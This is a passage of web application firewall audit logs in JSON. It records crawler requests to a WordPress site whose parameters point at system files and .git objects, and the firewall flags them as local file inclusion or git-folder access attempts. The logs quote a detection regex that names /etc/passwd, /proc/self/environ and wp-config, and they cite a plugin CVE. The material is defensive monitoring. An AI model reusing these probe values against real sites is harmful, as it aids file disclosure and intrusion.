<https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"8fa86144a389cbc116afa4b802571c71","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?view=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/42/3ce7ad79b3ce23c81ce62bdea32817627276dd||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":289,"p2":6476,"p3":0,"p4":0,"p5":323,"sr":117,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:03:43:51.567227 +0100","transaction_id":"abN55_lFIvnJgHRlHaWbzgAAAQI","remote_address":"57.141.20.48","remote_port":57664,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/usr/base/var/lib/mibs/ietf/ATM-MIB HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.48","X-Forwarded-Proto":"https","X-Request-Id":"e1c7dacc2cc4c144b89f81e1fcad1786","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"3081777"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"e1c7dacc2cc4c144b89f81e1fcad1786","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/var/lib/mibs/ietf/ATM-MIB||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":327,"p2":6075,"p3":0,"p4":0,"p5":341,"sr":117,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:03:43:53.977568 +0100","transaction_id":"abN56epA8xvhc8hKmeg9UwAAAVE","remote_address":"57.141.20.23","remote_port":34328,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/usr/base/usr/lib/locale/ar_AE.utf8/LC_COLLATE HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.23","X-Forwarded-Proto":"https","X-Request-Id":"e39aba9556dbbfe207a2180d827761de","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"6849164"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"e39aba9556dbbfe207a2180d827761de","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/lib/locale/ar_AE.utf8/LC_COLLATE||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":314,"p2":6270,"p3":0,"p4":0,"p5":438,"sr":134,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:03:43:58.193906 +0100","transaction_id":"abN57epA8xvhc8hKmeg9WQAAAVU","remote_address":"57.141.20.35","remote_port":34302,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/harvest/?rename=/usr/base/usr/share/terminfo/t/tvi920b-mc-vb HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.35","X-Forwarded-Proto":"https","X-Request-Id":"26c2d4d798fd60e672a38ba0d8badc9a","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"4686844"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2422>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"26c2d4d798fd60e672a38ba0d8badc9a","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/terminfo/t/tvi920b-mc-vb||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":397,"p2":6357,"p3":0,"p4":0,"p5":331,"sr":165,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:03:44:01.020201 +0100","transaction_id":"abN58PlFIvnJgHRlHaWb9gAAARI","remote_address":"57.141.20.38","remote_port":34316,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?view=/htdocs/coopo.jmkconsulting-ci.com/SCAES/.git/objects/8d/fe52cc4d990da61e424a9e2e16763c9b774fbc HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.38","X-Forwarded-Proto":"https","X-Request-Id":"21e983b3a2393b05dbea8530368c6495","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"2524392"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"21e983b3a2393b05dbea8530368c6495","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/organic-products/?view=/htdocs/coopo.jmkconsulting-ci.com/scaes/.git/objects/8d/fe52cc4d990da61e424a9e2e16763c9b774fbc||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":198,"p2":3618,"p3":0,"p4":0,"p5":268,"sr":97,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:03:44:07.203963 +0100","transaction_id":"abN59odmjjYI1SpvwBAejAAAABE","remote_address":"57.141.20.14","remote_port":46940,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/usr/base/usr/lib/locale/aa_ER/LC_IDENTIFICATION HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.14","X-Forwarded-Proto":"https","X-Request-Id":"636bf862e45285b54bc02f1cbbcdc5da","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"66243"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"636bf862e45285b54bc02f1cbbcdc5da","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/lib/locale/aa_ER/LC_IDENTIFICATION||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":358,"p2":10732,"p3":0,"p4":0,"p5":388,"sr":141,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:03:44:16.145897 +0100","transaction_id":"abN5_0apybP6n-qLTwtsrQAAAZA","remote_address":"57.141.20.51","remote_port":46950,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=/usr/base/usr/share/terminfo/s/scoansi-old HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.51","X-Forwarded-Proto":"https","X-Request-Id":"c74afb8f2390638c3af70067b6db40df","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"5638455"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2488>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"c74afb8f2390638c3af70067b6db40df","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/terminfo/s/scoansi-old||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":187,"p2":3671,"p3":0,"p4":0,"p5":341,"sr":89,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:03:44:23.282926 +0100","transaction_id":"abN6B_lFIvnJgHRlHaWcLAAAARg","remote_address":"57.141.20.38","remote_port":34348,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/87/76569a14d7b725b28d4d050ad569536cc3fe13 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.38","X-Forwarded-Proto":"https","X-Request-Id":"55e1198e51d363fbcc9ba567988802e2","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"6259040"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"55e1198e51d363fbcc9ba567988802e2","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/87/76569a14d7b725b28d4d050ad569536cc3fe13||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":352,"p2":5714,"p3":0,"p4":0,"p5":475,"sr":158,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:03:44:34.794379 +0100","transaction_id":"abN6EvlFIvnJgHRlHaWcTQAAAQ0","remote_address":"57.141.20.10","remote_port":60312,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/harvest/?rename=/usr/base/usr/share/terminfo/v/vt100%20noapp HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.10","X-Forwarded-Proto":"https","X-Request-Id":"43fd4403fa2459cfe0c5eeb738194733","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"2917148"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2422>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"43fd4403fa2459cfe0c5eeb738194733","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/terminfo/v/vt100 noapp||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":222,"p2":4596,"p3":0,"p4":0,"p5":248,"sr":129,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:03:44:38.114094 +0100","transaction_id":"abN6FflFIvnJgHRlHaWcVAAAARI","remote_address":"57.141.20.22","remote_port":34316,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/3a/30a73f3d4001fd86998368e28e90b536542f4b HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.22","X-Forwarded-Proto":"https","X-Request-Id":"c6d2d4022b65255f046134825eea975c","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"4326049"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"c6d2d4022b65255f046134825eea975c","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/organic-products/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/3a/30a73f3d4001fd86998368e28e90b536542f4b||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":214,"p2":5342,"p3":0,"p4":0,"p5":382,"sr":122,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:03:44:40.645120 +0100","transaction_id":"abN6GOpA8xvhc8hKmeg9mQAAAUo","remote_address":"57.141.20.6","remote_port":57640,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/a3/c2499c8573e73aaac0e748965ee61aabe04ef6 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.6","X-Forwarded-Proto":"https","X-Request-Id":"9a242e8d3efaf899bbbeab7b98cba0ab","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"1934395"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"9a242e8d3efaf899bbbeab7b98cba0ab","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/a3/c2499c8573e73aaac0e748965ee61aabe04ef6||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":199,"p2":4933,"p3":0,"p4":0,"p5":283,"sr":92,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:03:44:41.639400 +0100","transaction_id":"abN6GepA8xvhc8hKmeg9nwAAAUo","remote_address":"57.141.20.4","remote_port":57640,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/usr/base/usr/lib/locale/sid_ET/LC_COLLATE HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.4","X-Forwarded-Proto":"https","X-Request-Id":"aa4ebb89512f13abc963bf6c5089cc81","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"4391633"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"aa4ebb89512f13abc963bf6c5089cc81","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/lib/locale/sid_ET/LC_COLLATE||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":187,"p2":4082,"p3":0,"p4":0,"p5":336,"sr":115,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:03:44:42.933970 +0100","transaction_id":"abN6GvlFIvnJgHRlHaWcbQAAARY","remote_address":"57.141.20.26","remote_port":42486,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?view=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/f6/a10b8d929558049188089171c2f6500a2af45f HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.26","X-Forwarded-Proto":"https","X-Request-Id":"201351354874d63fdfb126f6ea1d0eff","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"3965860"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Upgrade":"h2,h2c","Connection":"Upgrade","Vary":"Accept-Encoding","X-Orig-Rid":"201351354874d63fdfb126f6ea1d0eff","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/organic-products/?view=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/f6/a10b8d929558049188089171c2f6500a2af45f||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":281,"p2":6577,"p3":0,"p4":0,"p5":336,"sr":130,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME 